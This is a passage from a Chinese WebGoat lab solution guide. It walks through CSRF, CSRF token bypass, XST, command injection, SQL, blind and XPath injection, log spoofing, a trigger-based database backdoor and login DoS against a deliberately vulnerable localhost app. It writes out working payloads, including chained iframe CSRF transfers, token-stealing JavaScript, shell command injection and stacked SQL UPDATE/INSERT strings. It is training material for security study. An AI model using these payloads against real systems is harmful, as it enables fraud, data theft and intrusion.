构造一个类似于 CSRF实验中的图片或 iframe标记：<img 

src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" width="1" height="1" />

该图片请求不会导致资金转移，而是触发一个需要用户确认的信息。要查看确认提示信息，

请尝试在本课程的 URL中增加外部参数"transferFunds=4000"。 
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查看源代码找到确认请求的参数信息。用于确认的 form 表单如下： 

<form accept-charset='UNKNOWN' method='POST' action='attack?Screen=5&menu=900' 

enctype='application/x-www-form-urlencoded'> 

 <input name='transferFunds' type='submit' value='CONFIRM'> 

 <input name='transferFunds' type='submit' value='CANCEL'> 

</form> 

通过以上代码可知，下一个需要伪造的 URL 如下：

attack?Screen=5&menu=900&transferFunds=CONFIRM 

本方案将为您展现如何通过 iframes 和 images两种方式实现攻击。下一步是添加附加的

伪造确认请求。尽管如此，这还不够。第二个请求必须在第一个请求结束后被载入。所以需

要添加 javascript 以实现在第一个请求结束后自动载入第二个：在第一个 frame 的属性中添

加 onload 参数,设置 src为第二个 frame。 

代码如下： 

<iframe 

 src="http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400" 

 id="myFrame" frameborder="1" marginwidth="0" 

 marginheight="0" width="800" scrolling=yes height="300" 

 onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5

&menu=900&transferFunds=CONFIRM';"> 

</iframe> 

  

<iframe 

 id="frame2" frameborder="1" marginwidth="0" 

 marginheight="0" width="800" scrolling=yes height="300"> 

</iframe> 

将以上信息提交到消息框中发表。 
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以下显示当点击访问该风险的 iframe消息时的结果。 
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上图第一个 frame 显示了用户确认信息，这是第一位早的请求所触发的结果。第二个

frame 显示的是伪造的确认请求触发的结果：4000 美元已经成功转账。刷新页面，完成根据

本节课程。 

事实上，在真实的攻击中以上信息将被隐藏。点击"restart this lesson"后再次对网站发起

攻击，本次攻击尝试使用隐蔽或非常小的 frames实现攻击信息隐藏。 

对于图片来说，如果载入的是一个 HTML 则会触发一个错误。所以此处可通过替换

onload 属性，实现工具目的。 

<img src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" 

onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transf

erFunds=CONFIRM'" width="1" height="1" />  

<img id="image2" width="1" height="1" />  

在输入框中插入该图片代码，提交消息尝试攻击。 
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提交后刷新消息页面，可发现成功通过本课程。对于开发者来说限制 CSRF的一种方法

是只允许通过 HTTP POST提交参数。该方式将屏蔽通过 iframe和 images方式发起的攻击，

但对 JavaScript中的XmlHTTpRequest无效。由于额外的信任，您可以尝试通过XmlHTTpRequest

发起基于 POST的攻击。 

 

2.8.6 绕过 CSRF Token（CSRF Token By‐Pass） 

2.8.6.1 技术概念或主题（Concept	/	Topic	To	Teach）	

本节课程将指导您如何在启用 CSRF Token 防护的网站上发起跨站请求伪造攻击

（CSRF）。 

跨站请求伪造攻击（CSRF/XSRF）欺骗用户（那些已经获取了系统的信任）点击带有

伪造请求的页面从而执行相关命令。 

基于 Token 的请求认证用于阻止此类攻击者。该技术在请求发起页面插入 Token。Token

用于完成请求和并验证该操作不是通过脚本执行的。OWASP 提供的 CSRFGuard 使用该技

术以阻止 CSRF 攻击。 
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尽管如此，但如果该站点存在 XSS 攻击漏洞，则该技术可被绕过。由于浏览器同源策

略，相同域名下的页面能够读取其它页面的内容。 

 

2.8.6.2 技术原理（How	it	works）	

网页中所有手工发起的请求操作，其实质通过 HTML+JavaScript 向服务器发起请求。 

 

2.8.6.3 总体目标（General	Goals）	

与 CSRF 课程类似，您的目标是给新闻组发送包含恶意请求的 Email 实现资金转账。为

了成功完成欺骗，您需要获得一个验证请求 Token。显示转账表单的 URL 类似于 CSRF 课程

中使用的外部参数"transferFunds=main"。载入该页面，读取 Token 并追加到伪造请求中以实

现资金转账。 

 

注意：不同 WebGoat 环境的 URL中“Screen”和“Menu”参数可能会有所区别。请使

用您但前访问 URL中正在使用的参数。 

 

2.8.6.4 操作方法（Solutions）	

类似于 CSRF  课程，您必须伪造资金转账的请求。尽管如此，如果请求中没有包含正确

的 Token，资金转账不会成功。要找到验证 Token，您需要查看网站生成的资金转账页面的

表单内容。要查看资金转账页面，需要在本节课程 URL 中增加外部参数"transferFunds=main"。 

 

下面查看网页源代码，找到 Token 参数。  
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<form accept-charset='UNKNOWN' id='transferForm' method='POST' 

action='attack?Screen=2&menu=900' enctype='application/x-www-form-urlencoded'> 

 <input name='transferFunds' type='text' value='0'> 

 <input name='CSRFToken' type='hidden' value='1745740650'> 

 <input type='submit'> 

</form> 

 

由此可以看到伪造命令需要提交 CSRFToken 参数。 

该解决方式是在一个 iframe中载入页面，然后从该 frame 中读取出 Token。 

下面查看网页源代码，找到 Token 参数。  由于两个页面在一个域名下，基于同源策略，

这样的操作是可行的。所以，尽管该页面采取了阻止 CSRF 攻击的措施，但由于 CSS 漏洞的

存在该措施能够被规避。下面的 JavasScript 通过 frame‐>forme 的路径可以读取并保存

CSRFToken 参数。 

 

 

var tokenvalue; 

 

function readFrame1() 

{ 

    var frameDoc = document.getElementById("frame1").contentDocument; 

    var form = frameDoc.getElementsByTagName("form")[1]; 

    var token = form.CSRFToken.value; 

    tokenvalue = '&CSRFToken='+token; 

     

    loadFrame2(); 

} 

 

function loadFrame2() 

{ 

    var testFrame = document.getElementById("frame2"); 

    

testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+t

okenvalue;  

} 

 

readFrame1从 frame 内容中读取 CSRFToken，保存并调用 loadFrame2。LoadFrame2 将追

加该参数并载入第二个 frame。 

下面的 frames 将在第一个 frame 中载入转账页面。载入完成后，它将调用

readFrame1，该 Frame 将调用 loadFrame2。loadFrame2 用于设置第二个 frame

的 src。 

  

<iframe src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main" 

 onload="readFrame1();" 

 id="frame1" frameborder="1" marginwidth="0" 
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 marginheight="0" width="800" scrolling=yes height="300"></iframe> 

<iframe id="frame2" frameborder="1" marginwidth="0" 

 marginheight="0" width="800" scrolling=yes height="300"></iframe> 

 

下图显示的是在消息框中插入的代码。 

 

下图显示了点击该页面后的结果。注意，该步骤未采取任何隐藏 frames 的

措施，建议您尝试采取隐藏 iframes 措施后再次提交 POST 请求。 

下图是隐藏处理后的结果。 
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2.8.7 HTTPOnly测试（HTTPOnly Test） 

2.8.7.1 技术概念或主题（Concept	/	Topic	To	Teach）	

为了降低跨站脚本攻击的威胁，微软引入了新的 cookie 属性字段：“HTTPOnly”。一

旦该字段被标记，浏览器将禁止客户端脚本访问 Cookie。由于该属性相对较新，有些浏览

器还无法正确处理这个属性。 

 

2.8.7.2 技术原理（How	it	works）	

无。 

2.8.7.3 总体目标（General	Goals）	

本课程目的是测试您的浏览器是否支持“HTTPOnly”的 cookie 标志。注意“unique2u”

的 cookie值。如果您的浏览器支持“HTTPOnly”，并启用了一个 cookie，客户端的代码是不

能够读取或写入 cookie 的，但是仍然可以向浏览器发送它的值。有些浏览器只能防止客户

端读访问，无法防止写访问。 
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2.8.7.4 操作方法（Solutions）	

分别在启用和禁用“HTTPOnly”的情况下点“Read Cookie”和“Write Cookie”，查

看其中的不同，在不启用 HTTPOnly 的情况下，能够看到 unique2u 的值，而启用 HTTPOnly

之后则无法看到这个值。 

 

 

 

 

2.8.8 跨站跟踪攻击（Cross Site Tracing (XST) Attacks） 

2.8.8.1 技术概念或主题（Concept	/	Topic	To	Teach）	

 

过滤所有用户输入是一个不错的做法，特别是那些后期会被用作 OS、脚本或数据库查

询参数的输入。尤其是那些将要长期存储的内容。用户不能创建非法的消息内容，例如：可

以导致其他用户访问时载入非预期的页面或内容。 

 

2.8.8.2 技术原理（How	it	works）	

HTTP 方法包括：HEAD、GET、POST、TRACE、PUT、DELETE 等。 

 

2.8.8.3 总体目标（General	Goals）	

Tomcat 支持 HTTP TRACE 命令，您的目标是执行跨站跟踪攻击。 
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2.8.8.4 操作方法（Solutions）	

您需要使用跨站点跟踪攻击，这可以通过在“three digit access code”中嵌入脚本来实现。 

以下脚本通过 XMLHTTP 提交 HTTP TRACE 数据： 

<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new 

ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); 

xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); 

document.write(str1);}</script> 
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2.9 不当的错误处理（Improper	Error	Handling）	

2.9.1 打开认证失败方案（Fail Open Authentication Scheme） 

2.9.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

  本节课程介绍了关于认证“无法打开”的基本知识。用安全术语来讲，“fail open”描

述了一个验证机制的行为。这是一个验证方法的验证结果为“true”时发生的错误（意外的

异常）。在登录过程中，这是特别危险的。 

 

 

2.9.1.2 技术原理（How	It	works）	

Java 代码中异常处理部分为成功认证行为进行异常捕获。该异常产生是因为密码字段使

用了空指针。.  
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2.9.1.3 总体目标（General	Goals）	

在这一课中，用户需要绕过认证检查。 

 

2.9.1.4 操作方法（Solutions）	

以用户名 webgoat 登录，开启 webscarab，进行拦截。 

 

选中“Password”一栏，点击“Delete”删除该选项，然后选择“Accept Changes”提

交。 

 
登录成功。 
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2.10 注入缺陷（Injection	Flaws）	

2.10.1 命令注入（Command Injection） 

2.10.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后

的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这类风险数目令人难以

置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响。但是对于这类威胁，一点常识和预先预防几乎可

以完全阻止。这节课将为学员展示几个参数注入的例子。 

“清洗”所有输入数据总是不错的做法，尤其是那些将被用于操作系统命令、脚本和数

据库查询语句的数据。 

 

2.10.1.2 技术原理（How	It	works）	

在正常的参数提交过程中，添加恶意的代码，往往能够得到以外的收获。 

2.10.1.3 总体目标（General	Goals）	

本节要求学员能够在目标主机上执行任何系统命令。 
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2.10.1.4 操作方法（Solutions）	

启动 WebScarab。在课程页面的下拉列表中任意选择一个页面，然后点“View” 

 

通过 WebScarab 截获请求，在所请求的页面处添加“"& netstat -an & ipconfig”。 注

意，有个英文双引号。 

 

点击执行后返回页面，在这个页面中能看到网络端口使用情况和 IP 地址。通过这种方

式实现了攻击。 
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2.10.2 数字型 SQL注入（Numeric SQL Injection） 

2.10.2.1 技术概念或主题（Concept	/	Topic	To	Teach）	

  SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击

技术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这些风险数目

令人难以置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响，但是对于这类威胁，一点常识和预先预防几乎可

以完全阻止。这节课将为学员展示几个参数注入的例子。 

尽管 SQL 注入威胁可能已经通过其它方式被拦截，但“清洗”所有输入数据总是不错

的做法，尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。 

 

2.10.2.2 技术原理（How	It	works）	

在 station 字段中注入特征字符，能组合成新的 SQL 语句。 

SELECT * FROM weather_data WHERE station = [station] 

2.10.2.3 总体目标（General	Goals）	

下面的表单允许用户查看天气数据。请通过注入 SQL 字符串的方式查看所有的天气数

据。 
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2.10.2.4 操作方法（Solutions）	

打开 WebScarab，然后选择一个城市，点“GO”，WebScarab 中会显示该城市编号，

在编号后面添加“1=1”，确定 

 
攻击成功，显示所有城市的天气情况 

 
 

2.10.3 日志欺骗（Log Spoofing） 

2.10.3.1 技术概念或主题（Concept	/	Topic	To	Teach）	

本节课程将教会您如何使用障眼法。 

 

2.10.3.2 技术原理（How	It	works）	

这种攻击是在日志文件中愚弄人的眼睛，攻击者可以利用这种方式清除他们在日志中的

痕迹。 
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2.10.3.3 总体目标（General	Goals）	

灰色区域代表在 Web 服务器的日志中的记录的内容。您的目的是使用户名为“admin”

的用户在日志中显示“成功登录”。 

升级您的攻击，例如：在日志文件中插入脚本。 

 

2.10.3.4 操作方法（Solutions）	

本节课程接受用户输入的任何一个用户名，并将其追加到日志文件中。 

在文本框中输入用户名：“smith Login Succeeded for username admin”,这样用户名后面

的信息会在同一行显示，而不是在新的一行。 

 

这样您可以往该应用中注入回车（0D%）和换行符（%0A）。在 username 中填入

“Smith%0d%0aLogin Succeeded for username: admin”，这样就完成了该课程。 

 

攻击者可以利用这种方式向日志文件中添加恶意脚本，脚本的返回信息管理员能够通过

浏览器看到。如果把“admin <script>alert(document.cookie)</script>”作为用户名输

入会有什么情况发生呢？ 
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2.10.4 XPATH型注入（XPATH Injection） 

2.10.4.1 技术概念或主题（Concept	/	Topic	To	Teach）	

本节课程将教会您如何实施 XPath 注入攻击。 

 

 

2.10.4.2 技术原理（How	It	works）	

与 SQL 注入类似，XPATH 注入发生在当网站使用用户提供的信息查询 XML 数据时。

通过向网站故意发送异常信息，攻击者可以发现 XML 数据的结构或访问那些本来无法访问

到的数据。如果该 XML 是一个用户认证文件（例如一个基于 XML 的用户文件），攻击者

还能借此提升自己在网站中的特权。使用 XPATH 查询 XML，通过一个简单的描述性语句

类型，允许 XML 查询，找到一条信息。像 SQL 一样，您可以指定找到的某些属性与模式

匹配。 

当一个网站中使用 XML，它是普遍接受某种形式的输入，查询字符串，找到并将标识

的内容显示在页面上。此类输入必须进行清洗，以验证它不会影响 XPATH 的查询，并返回

错误数据。 

 

2.10.4.3 总体目标（General	Goals）	

以下表单允许员工看到自己的所有个人资料，包括他们的薪酬。您的账户是 Mike/test123.
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您的目标是尝试看到其他雇员的数据。 

 

2.10.4.4 操作方法（Solutions）	

XPATH 注入类似于 SQL 注入。通过未验证的输入创建一个 XPATH 查询。下面您能看到如

何构建一个 XPATH 查询。该页面代码如下： 

String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml"); 

File d = new File(dir); 

XPathFactory factory = XPathFactory.newInstance(); 

XPath xPath = factory.newXPath(); 

InputSource inputSource = new InputSource(new FileInputStream(d)); 

String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + 

password + "']"; 

nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET); 

在用户名处注入 Smith' or 1=1 or 'a'='a，这将会显示您登录系统的第一个用户。密

码是必须的字段，可以任意输入。 

以下是服务器获取的： 

expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and 

passwd/text()='password']" 

以下是服务器解析后的结果： 

expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and 

passwd/text()='password' ) ]" 

输入后点登录即可看到其他人的信息，完成本节课程。 

 

 

2.10.5 字符串型注入（String SQL Injection） 

2.10.5.1 技术概念或主题（Concept	/	Topic	To	Teach）	

SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技

术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这些风险数目令

人难以置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响，但是对于这类威胁，一点常识和预先预防几乎可

以完全阻止。这节课将为学员展示几个参数注入的例子。 

尽管 SQL 注入威胁可能已经通过其它方式被拦截，但“清洗”所有输入数据总是不错

的做法，尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。 
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2.10.5.2 技术原理（How	It	works）	

  基于以下查询语句构造自己的 SQL注入字符串。 

 SELECT * FROM user_data WHERE last_name = '?' 

2.10.5.3 总体目标（General	Goals）	

下面的表格，允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息

显示出来。尝试的用户名是“Smith”。 

 

   

2.10.5.4 操作方法（Solutions）	

输入以下代码即可完成本课程内容。 

’ or 1=1 – 

// 或者 

Smith' or 1=1 -- 
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2.10.6 小实验：SQL注入（LAB: SQL Injection） 

2.10.6.1 技术概念或主题（Concept	/	Topic	To	Teach）	

SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技

术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这些风险数目令

人难以置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响，但是对于这类威胁，一点常识和预先预防几乎可

以完全阻止。这节课将为学员展示几个参数注入的例子。 

尽管 SQL 注入威胁可能已经通过其它方式被拦截，但“清洗”所有输入数据总是不错

的做法，尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。 

 

2.10.6.2 技术原理（How	It	Wokrs）	

应用程序会将您的输入带入后台的 SQL 查询语句。 

 

2.10.6.3 Stage	1:	字符串型注入（Stage	1:	String	SQL	Injection）	

2.10.6.3.1 总体目标（General Goals） 

使用 SQL 注入绕过认证。 

 

2.10.6.3.2 操作方法（Solutions） 

以用户 Neville 登录，确保 WebScarab 已经启动，并选中了“intercept request”。

任意输入一个密码，然后登录。 

在 WebScarab 的 password 中修改密码为 smith' OR '1' = '1，如图： 
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得到所有人员列表后该步骤完成。 

 

 

2.10.6.4 Stage	2:	参数化查询#1（Stage	2:	Parameterized	Query	

#1）	

2.10.6.4.1 总体目标（General Goals） 

使用参数化查询阻止 SQL 注入。 
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本节课程只能在 WebGoat 开发版本上完成。 

 

2.10.6.4.2 操作方法（Solutions） 

为了防止 SQL 注入攻击的发生，可以采用“参数化查询”。这种类型的查询可以使得

用户的每一个输入可以作为一个参数使用。本节课程类似于 Stage2，所以只简短介绍最终修

改结果。修改 org.owasp.webgoat.lessons.SQLInjection.ViewProfile.java 这

一个 class 中 getEmployeeProfile 方法，代码如下： 

 

String query = "SELECT employee.* " 

    + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and " 

    + "ownership.employer_id = ? and ownership.employee_id = ?"; 

try 

{ 

  Connection connection = WebSession.getConnections(s); 

  PreparedStatement statement = connection.prepareStatement(query, 

ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); 

  statement.setString(1, userId); 

  statement.setString(2, subjectUserId); 

  ResultSet answer_results = statement.executeQuery(); 

  //etc... 

 

2.10.6.5 Stage	3:	数字型 SQL注入（Stage	3:	Numeric	SQL	

Injection）	

2.10.6.5.1 总体目标（General Goals） 

执行 SQL 注入绕过认证； 

该课程的目的是通过注入语句，浏览到原本无法浏览的信息。通过一个普通员工的账户，

浏览其 BOSS的账户信息。 

2.10.6.5.2 操作方法（Solutions） 

首先用 Larry，密码 larry登录，浏览员工信息的按钮是“ViewProfile”。通过 WebScarab

抓包，我们首先将 ID 号换成其他，如 102，返回的依然是 Larry的信息。这个地方数据库应

该是以员工 ID 作为索引，返回的是每次查询到的第一条数据。用社会工程学解释老板应该
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是工资最高的，所以为了把老板排到第一个 SQL 注入排序如下： 

101 or 1=1 order by salary desc 

 
 

2.10.6.6 Stage	4:	参数化查询#2（Stage	4:	Parameterized	Query	

#2）	

2.10.6.6.1 总体目标（General Goals） 

使用参数化查询阻止 SQL 注入。 

 

本节课程只能在 WebGoat 开发版本上完成。 

 

2.10.6.6.2 操作方法（Solutions） 
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2.10.7 通过 SQL注入修改数据（Modify Data with SQL Injection） 

2.10.7.1 技术概念或主题（Concept	/	Topic	To	Teach）	

SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技

术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这些风险数目令

人难以置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响，但是对于这类威胁，一点常识和预先预防几乎可

以完全阻止。这节课将为学员展示几个参数注入的例子。 

尽管 SQL 注入威胁可能已经通过其它方式被拦截，但“清洗”所有输入数据总是不错

的做法，尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。 

 

2.10.7.2 技术原理（How	It	works）	

很多数据库支持多语句操作，例如在多个语句中使用分号区分可实现按顺序执行语句。 

 

2.10.7.3 总体目标（General	Goals）	

下面的表单允许基于用户 userid（来自 salaries 表）查看对其应用户的工资信息。该表

单后台存在字符串型 SQL 注入漏洞。为了通过本节课程，需要通过 SQL 的方式修改 userid

为 jsmith 的员工的工资。 

 

2.10.7.4 操作方法（Solutions）	

本课程中，我们使用 UPDATE 命令来替换 SELECT 查询命令。 

UPDATE 语句语法如下： 

UPDATE table SET column=value WHERE column=value; 

 

我们需要修改表 salaries，并设置 salary 字段为新的数值，使用如下命令： 

 

UPDATE salaries SET salary=999999 WHERE userid='jsmith' 

 

为了修改指定 userid 的工资信息，需要在 SQL 语句中限定条件，如下： 

 

UPDATE salaries SET salary=999999 WHERE userid='jsmith' 
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所以，最终的攻击方式是在表单查询页面的用户 ID 出输入如下语句（注意单引号）： 

 

someuserid'; UPDATE salaries SET salary=999999 WHERE userid='jsmith 

在用户 ID 查询输入框中输入以上语句，单击按钮【Go】执行 SQL 注入攻击。完成攻

击后，重新查看 jsmith 的工资，并通过本课程。 

 

 

2.10.8 通过 SQL注入添加数据（Add Data with SQL Injection） 

2.10.8.1 技术概念或主题（Concept	/	Topic	To	Teach）	

SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技

术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这些风险数目令

人难以置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响，但是对于这类威胁，一点常识和预先预防几乎可

以完全阻止。这节课将为学员展示几个参数注入的例子。 

尽管 SQL 注入威胁可能已经通过其它方式被拦截，但“清洗”所有输入数据总是不错

的做法，尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。 

 

2.10.8.2 技术原理（How	It	works）	

很多数据库支持多语句操作，例如在多个语句中使用分号区分可实现按顺序执行语句。 

 

2.10.8.3 总体目标（General	Goals）	

下面的表单允许基于用户 userid（来自 salaries 表）查看对其应用户的工资信息。该表
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单后台存在字符串型 SQL 注入漏洞。为了通过本节课程，需要通过 SQL 的方式向表中增加

一条记录。 

 

2.10.8.4 操作方法（Solutions）	

在查询输入框中输入如下语句，完成 SQL 注入攻击， 

 

whatever'; INSERT INTO salaries VALUES ('rlupin',140000);-- 

 

成功完成攻击后，搜索 userid 为 rlupin 的用户，可查询到其工资信息。 

 

 

2.10.9 数据库后门（Database Backdoors） 

2.10.9.1 技术概念或主题（Concept	/	Topic	To	Teach）	

如何创建数据库后门。 

 

2.10.9.2 技术原理（How	It	works）	

数据库通常作为一个 Web 应用程序的后端来使用。此外，它也用来作为存储的媒介。

它也可以被用来作为存储恶意活动的地方，如触发器。触发器是在数据库管理系统上调用另

一个数据库操作，如 insert, select, update or delete。举个例子：攻击者可以创建一个触发器，

该触发器在创建新用户时，将每个新用户的 Email地址设置为攻击者的地址。 
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2.10.9.3 总体目标（General	Goals）	

您的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL

数据库，不支持触发器，所以该课程不会真正完成。 

您的 Login ID 是 101. 

 

2.10.9.4 操作方法（Solutions）	

输入 101，得到该用户的信息 

 

您可能已经发现，输入的语句没有验证，很容易进行 SQL 注入。若要执行两个语句，

中间需要用分号分隔。输入注入语句 101; update employee set salary=10000。 

 
使用以下查询条件，添加触发器： 

 

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN 

UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid 
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2.10.10 数字型盲注入（Blind Numeric SQL Injection） 

2.10.10.1 技术概念或主题（Concept	/	Topic	To	Teach）	

SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技

术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这些风险数目令

人难以置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响，但是对于这类威胁，一点常识和预先预防几乎可

以完全阻止。这节课将为学员展示几个参数注入的例子。 

尽管 SQL 注入威胁可能已经通过其它方式被拦截，但“清洗”所有输入数据总是不错

的做法，尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。 

 

2.10.10.2 技术原理（How	It	works）	

某些 SQL 注入是没有明确返回信息的，只能通过条件的“真”和“假”进行判断。攻

击者必须充分利用查询语句，构造子查询语句，   

 

2.10.10.3 总体目标（General	Goals）	

下面的表单允许输入一个帐号，并检测该帐号是否合法。使用该表单的返回信息（真或

假）测试检查数据库中其它条目信息。 

您的目标是找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的

数值。pin 字段类型为 int，整型。输入找到的数值并提交，通过本课程。 
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2.10.10.4 操作方法（Solutions）	

本节课程中，服务端页面返回的信息只有两种：帐号有效或无效。因此无法简单地查询

到帐号的 PIN 数值。尽管如此，我们可以利用系统后台在用的查询语句。查询语句如下： 

SELECT * FROM user_data WHERE userid=accountNumber; 

如果该查询语句返回了帐号的信息，页面将提示帐号有效，否则提示无效。使用 AND

函数，我们可以添加一些额外的查询条件。如果该查询条件同样为真，则返回结果应提示帐

号有效，否则无效。例如下面两个查询方式： 

101 AND 1=1  

101 AND 1=2 

在第一条语句中，两个条件都成立，所以页面返回帐号有效。而第二条则返回帐号无效。 

现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值

是否大于 10000。 

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ); 

如果页面提示帐号有效，说明 PIN>10000 否则 PIN<=10000。不断调整数值，可以缩小

判断范围，并最终判断出 PIN 数值的大小。最终如下语句返回帐号有效： 

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 ); 

在查询框中输入 2364 并提交，通过本节课程。 

 

2.10.11 字符串型盲注入（Blind String SQL Injection） 

2.10.11.1 技术概念或主题（Concept	/	Topic	To	Teach）	

SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技

术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这些风险数目令

人难以置信，互联网中的系统很容易受到这种形式的攻击。 

这种攻击容易扩散，造成更坏的影响，但是对于这类威胁，一点常识和预先预防几乎可
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以完全阻止。这节课将为学员展示几个参数注入的例子。 

尽管 SQL 注入威胁可能已经通过其它方式被拦截，但“清洗”所有输入数据总是不错

的做法，尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。 

 

2.10.11.2 技术原理（How	It	works）	

某些 SQL 注入是没有明确返回信息的，只能通过条件的“真”和“假”进行判断。攻

击者必须充分利用查询语句，构造子查询语句，   

 

 

2.10.11.3 总体目标（General	Goals）	

下面的表单允许输入一个帐号，并检测该帐号是否合法。使用该表单的返回信息（真或

假）测试检查数据库中其它条目信息。 

您的目标是找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的

数值。pin 字段类型为 varchar。输入找到的数值（最终的字符串，注意拼写和大写）并提交，

通过本课程。 

 

2.10.11.4 操作方法（Solutions）	

本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因

此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节，如下： 

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 

'H' ); 

该语句使用了 SUBSTRING 方法，取得 pin 字段数值的第一个字母，并判断其是否比字

母“H”小。SUBSTRING 语法如下： 

SUBSTRING(STRING,START,LENGTH) 

经过多次测试（比较 0-9A-Za-z等字符串）和页面的返回数据，判断出第一个字符为“J”。

同理继续判断第二个字符。 

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 

'h' ); 

最终，判断出 pin 字段的值为：Jill。提交该值，通过本节课程。 
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2.11 拒绝服务（Denial	of	Service）	

2.11.1 多个登录引起的拒绝服务（Denial of Service from 

Multiple Logins） 

2.11.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

拒绝服务攻击是 Web 应用程序中的主要问题。 如果最终用户不能开展业务或执行由

Web 应用程序所提供的服务，则是浪费时间和金钱。 

 

2.11.1.2 技术原理（How	It	works）	

数据库连接总是要占用移动资源的；过度使用会影响系统性能。 

 

2.11.1.3 总体目标（General	Goals）	

目标网站允许用户多次登录。该网站的数据库连接池允许两个连接。您需要获得一个有

效的用户列表，并创建 3 个登录。 

 

 

 

2.11.1.4 操作方法（Solutions）	

首先使用 SQL 注入攻击，在密码输入框中输入： 
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' or '1' = '1 

注入攻击成功后，可以获得所有用户的帐号密码信息。 

 

 

 

分别以以下三个给用户登录：jsnow、jdoe、jeff；通过本节课程。 

 

 

2.12 不安全的通信（Insecure	Communication）	

2.12.1 不安全的登录（Insecure Login） 

2.12.1.1 技术概念或主题（Concept	/	Topic	To	Teach）	

敏感数据不能用明文发送，通常在验证后要切换到安全连接。攻击者可通过嗅探获得的

登录信息和收集到的其他信息入侵账户。一个好的 Web 应用程序总是使用加密方式发送敏

感数据。 

 

2.12.1.2 技术原理（How	It	works）	

HTTP 数据包可以被 WireShark 等工具捕获，直接明文读取。 

使用 HTTPS 访问后，所有数据被加密。服务器与应用程序通过传输层安全（Transport 

Layer Security （TLS））又称为安全套接字层（Secure Socket Layer (SSL)）。TLS 是一

种混合的加密协议，一个主密钥来建立通信。这个密钥使用的是 SHA-1 或 MD5。 
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2.12.1.3 总体目标（General	Goals）	

在这一课中有两个阶段，第一个阶段要尝试嗅探出文本方式发送的密码，第二个阶段是

利用同样的方法，在安全连接模式下进行尝试。 

您需要为本课程进行客户端和服务端的配置，请参考入门章节 Tomcat 设置相关的材料。 

 

2.12.1.4 操作方法（Solutions）	

启动 WireShark，并设置捕获网卡数据。在登陆页面，单击【submit】按钮后，通过

WireShark 查看数据包，能够发现用户名和密码明文信息。 
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接下来让我们将访问连接改为 HTTPS，将浏览器地址栏中 HTTP 改为 HTTPS。然后重

复第一步的动作，您将看到密码将不再以文本方式发送。服务器和客户端的所有流量都是加

密的。 
